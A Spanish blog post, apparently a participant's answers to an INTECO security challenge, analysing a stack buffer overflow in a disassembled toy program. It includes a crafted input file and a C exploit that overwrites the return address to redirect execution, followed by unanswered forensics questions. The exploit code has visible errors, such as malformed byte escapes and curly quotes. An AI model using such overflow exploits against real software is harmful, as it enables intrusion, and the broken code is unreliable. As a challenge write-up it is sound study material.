Respuestas a las pruebas de INTECO (2 de 2)

El pasado mes de Julio comencé a explicar mis respuestas a las pruebas de INTECO del pasado mes de Julio, sin embargo me dejé la segunda parte, que publico ahora:

Análisis de vulnerabilidades

La tercera prueba tenía que ver con un buffer overflow. Mostraban un trozo de código en ensamblador y preguntaban:

Pregunta 1:Explicar detalladamente, indicando direcciones de memoria, que sucede cuando se ingresan demasiados caracteres.[30%]

Respuesta:

El problema que ocurre aquí es que no se esta usando espacio de direccionamiento de datos para almacenar el nombre, se r eservan, en cambio, 28hex, o sea 40 bytes de espacio en la pila.

Como se ve en la instrucción 00401293, se está haciendo un SUB ESP,28, o sea reduciendo el tope de la pila (que crece hacia abajo) para que ahí se almacene el nombre.

Con valores concretos:

Al iniciar la función, el top de la pila tiene la instrucción desde la que ha sido llamada (004012F4). En ese momento ESP es 22FF5C y al hacer el PUSH EBP pasa a ser 0022FF58.

Con estos valores, el programa puede volver a la función que lo referencio al ejecutar el comando final RETN

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 28       SUB ESP,28

Al restarle 28hex ESP tiene el valor 22FF30, LOCAL.10 resuta ser la misma dirección: 22FF30, LOCAL.6 es 22FF40 y LOCAL.9 es 22FF34. Deberiamos poder meter un nombre de 40 caracteres, pero como se esta almacenando en LOCAL.6, en realidad se tienen solo 24 caracteres. Y ni eso porque siempre hay que contar el 0 final con el que acaban las cadenas en C. Asi pues 23 caracteres máximo.

00401296  |.  C70424 003040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; /format => "Introduce tu nombre: "
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012A2  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012A5  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012A9  |.  C70424 163040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "%s"
004012B0  |.  E8 7B050000   CALL <JMP.&msvcrt.scanf>                 ; \MSVCRT.scanf
004012B5  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012B8  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012BC  |.  C70424 193040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "Te llamas %s
"
004012C3  |.  E8 78050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012C8  |.  C9            LEAVE
004012C9  \.  C3            RETN

Pregunta 2: ¿Qué sucede cuando el nombre ocupa 28 caracteres?[20%]

Si metemos 28 caracteres, nos cargaremos el valor de EBP y añadiremos un 0 al final de la dirección de retorno (debido al 0 final de las cadenas en C), haciendo que la dirección de retorno sea a la 00401200 en vez de a la 004012F4 como debería ser. De esta manera al ejecución continua en un punto completamente diferente.

Pregunta 3: ¿Es posible usar la vulnerabilidad para ejecutar código en el sistema? Si es posible, muestra el código fuente de un programa que lo explote.[50%]

Dado que es un ejecutable Windows, es posible hacerlo desde la misma línea de comandos. Se crea un fichero de texto con 28 caracteres visibles, por ejemplo “1234567890123456789012345678” y a continuación se modifica en hexadecimal para añadirle la dirección de memoria a la que queremos que salte, por ejemplo 0x00, 0x40, 0x12, 0x96. De esta manera al ejecutar:

C:\>type exploit.txt | vulnerabilities.exe

En vez de volver a la direccion de retorno adecuada, saltará a la que le hemos indicado: 00401296 que hará que vuelva a preguntar el nombre una y otra vez.

Si lo que se desea es un programa, en este ejemplo saltamos la ejecución a 0022FF60, que es la siguiente posición en la pila y luego empezamos a meter código de nuestra elección:

#include 
int main()
{
char mona[] =             "\x34\x33\32\x31\x38\x37\x36\x35\x32\x31\x30\x39\x36\x35\x34\x33\x30\x39\x38\x37\x30\x30\x30\x30\x30\x30\x30\x30\x00\x22\xFF\x60\XC7\x04\x24\x00\x22\xFF\x30\xE8\x9E\x05\x00\x00";

FILE *file; 
file = fopen("exploit.txt","w"); 
fputs(mona,file);
fclose(file); 

 system(“type exploit.txt | vulnerabilities.exe ”);

}

El codigo que he metido despues ha sido una copia de lo encontrado en las líneas 00401296:

MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 
CALL    

…pero vamos ya podíamos meter lo que quisiéramos.

Para la cuarta prueba, daban un fichero "dd" y hacian las siguientes preguntas. Por desgracia para esta prueba no tuve tiempo y tuve que dejarlo en blanco:

Análisis forense

Pregunta 1: Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo. [15%]

Pregunta 2: ¿Tiene procesos, bibliotecas o módulos ocultos en el sistema?. En caso afirmativo, indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados. [30%]

Pregunta 3: ¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

Pregunta 4: Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

Pregunta 5: Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]